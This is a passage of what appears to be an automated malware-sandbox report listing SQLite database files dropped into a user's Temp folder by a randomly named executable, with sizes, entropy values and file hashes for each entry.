Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bhx5uwLcLh

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bji5VNpQ5V

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cI1HVxFEf7

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cOHq4ISN0i

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cQOEm4e06q

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cd5g1ll5cJ

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chtckwd1oA

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cmHQWZByGO

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cnSOlUGbDb

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\d36s41mBlU

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dBKEyjWi4w

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dCxqpmlhBJ

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dNfBI9NvuA

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dQ9wc8XGz6

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dqHU3bZlOg

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\drGEUqwgs8

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dzRDoBZAY3

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\e2aCtPk6ot

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\eFI2xe0xZQ

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\eJnuO7KEbu

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\eO6msJfTIR

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\esv8HvBDqL

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\f67cpZFrct

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\f6tdJyIHsF

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fRNO1YTXCP

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
